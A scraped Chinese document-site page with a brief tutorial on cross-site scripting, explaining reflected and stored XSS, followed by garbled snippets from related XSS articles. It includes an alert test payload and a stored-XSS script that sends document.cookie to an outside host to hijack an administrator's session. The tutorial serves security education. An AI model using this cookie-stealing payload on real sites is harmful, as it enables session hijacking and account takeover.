当前位置： 文档下载 > 所有分类 > IT/计算机 > 计算机软件及应用 > XSS跨站脚本攻击XSS 叫跨站脚本攻击（Cross Site Script），那么XSS原本应该叫做CSS，但是由于CSS的简称已经被连级样式表 使用了，所以就换个称谓XSS。 为什么叫做跨站脚本攻击呢？
它的意思就是在别人的网站上嵌入脚本，而这个脚本原本不是属于这个网站的。这个解释很直观吧。 怎么嵌入脚本呢？
比如这么个搜索结果页，当用户搜索test的时候，页面会显示“搜索关键词：test” 这个时候，这里的test就很有可能会出现xss漏洞，如果该页面是直接将用户输入的东西“返回”到页面上，那么存在的xss漏洞就可以这样利用： 输入：<script>alert(1);</scrip> 那么页面就会跳出alert(1); 这种XSS叫做反射性XSS。
再谈论另外一种场景，每个网站都有反馈框。允许用户反馈数据给后台。 而这个后台一般都是管理员进行审核，会在管理后台展示。
如果一个<script>var x=new Image(); x.src=”doc.guandang.net”+document.cookie;</script>的反馈数据由用户输入
然后这个数据“直接”返回到管理后台上，那么这个时候，管理后台管理员的cookie就被作为参数传递到doc.guandang.net 了。后面黑客就可以使用cookie来做登录管理后台了。
这种XSS由于攻击代码存储进数据库了，所以叫做存储型XSS。 危害
一般来说，存储型XSS的危害性大于反射型XSS。因为反射型XSS只会影响到自己，而存储型的XSS可能会影响到网站的其他用户。
本文将对XSS跨站攻击方式进行分析,便于人们提高对于此次攻击的防范。●】●:^ l● 【 镌 蕾 X S跨站脚本攻击分析 S 摘要 :随着 互联 网应 用 的深 入 ,...
反黑风暴— — 网络渗透技术攻防高手修炼 XSS跨站脚本攻击技术 XSS跨站脚本攻击技术♂XSS产生根源和触发条件 ♂跨站漏洞的利用 ♂XSS XSS攻击案例模拟 XSS ♂跨站...
发表:红科网安 作者:Amxking 发布时间:2010-06-23 摘要: 本文作者 Amxking 通过对 xss 跨站脚本攻击漏洞的历史、 攻击特点、 攻击原理描述及案例代码实 战举例...
跨站脚本攻击以访问服务器的客户端为攻击目 要 标 , 通过恶意脚本向第三方站点发送用户的信息 。跨站脚本攻击是继 SQL 注入攻击后最为常用的攻击手段 。 XSS ...
XSS跨站脚本攻击剖析与防御_信息与通信_工程科技_专业资料 暂无评价
浅析XSS跨站脚本攻击与防御_信息与通信_工程科技_专业资料。本文分析新浪微博XSS攻击过程,阐述反射型跨站脚本和存储型跨站脚本,讨论XSS的防御方式。...
XSS跨站脚本攻击技术与防范_IT/计算机_专业资料。XSS跨站脚本攻击技术与防范反黑风暴— 黑风暴— 网站入侵与脚本技术快速防杀 网站入侵与脚本技术快速防杀 XSS跨站...
XSS 跨站脚本攻击_计算机/互联网_科技_PPT专区。XSS 跨站脚本攻击一种新的蠕虫形式 WHAT IS WORM ? ? 一般认为蠕虫是一种通过网络传播的主动攻击的恶性计算 机...
PHP框架开发实战 第2讲 xss跨站脚本攻击原理与预防_计算机软件及应用_IT/计算机_专业资料。北风网PHP视频教程《PHP开发漏洞及运维安全》(SQL注入、XSS、csrf攻击、...
热门文档